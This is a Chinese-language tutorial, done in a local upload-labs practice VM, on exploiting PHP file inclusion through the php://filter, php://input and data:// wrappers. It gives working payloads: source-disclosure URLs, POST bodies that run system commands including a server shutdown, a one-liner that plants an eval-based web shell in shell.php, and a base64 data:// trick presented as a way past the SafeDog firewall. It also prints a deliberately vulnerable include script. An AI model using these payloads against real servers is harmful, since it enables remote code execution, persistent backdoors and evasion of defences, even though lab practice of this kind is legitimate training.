PHP伪协议(也叫 PHP 封装协议)能够用于支持文件流操作的函数中,既包含合法的文件操作协议,也有常被用于安全渗透的协议。安全渗透中经常利用伪协议读取敏感文件、执行恶意代码。
以下实战均在虚拟机中搭建的upload-labs-env靶场进行,浏览器为火狐渗透版:
- Filter
Filter用于查看网站完整源代码;
浏览器输入以下url,其中读链设置为base64编码,数据流设置为upload.php:
http://127.0.0.1/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php
base64解码为:
<?php
$filename=$_GET['filename'];
include($filename);
?>
2. Input
Input可以直接在post data中输入php脚本;
先在浏览器输入以下url:
http://127.0.0.1/include.php? file=php://input
post data:
2.1 查看信息:
<?php phpinfo(); ?>
2.2 查看服务器的版本:
<?php system(ver); ?>
2.3 查看服务器IP:
<?php system(ipconfig); ?>
2.4 查看服务器目录:
<?php system(dir); ?>
2.5 Ping其他网站:
<?php system('ping www.baidu.com'); ?>
2.6 查看当前用户:
<?php system('whoami'); ?>
2.7 1小时后关机:
<?php system('shutdown -s -t 3600'); ?>
2.8 取消关机:
<?php system('shutdown -a'); ?>
2.9 将php脚本写入shell.php文件:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>
再访问php脚本:
post data:
cmd=phpinfo();
- Data
Data可以直接在url中传入php脚本:
http://127.0.0.1/upload.php?filename=data://text/plain,<?php phpinfo();?>
使用base64编码php脚本可以绕过安全狗:
http://127.0.0.1/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+%2b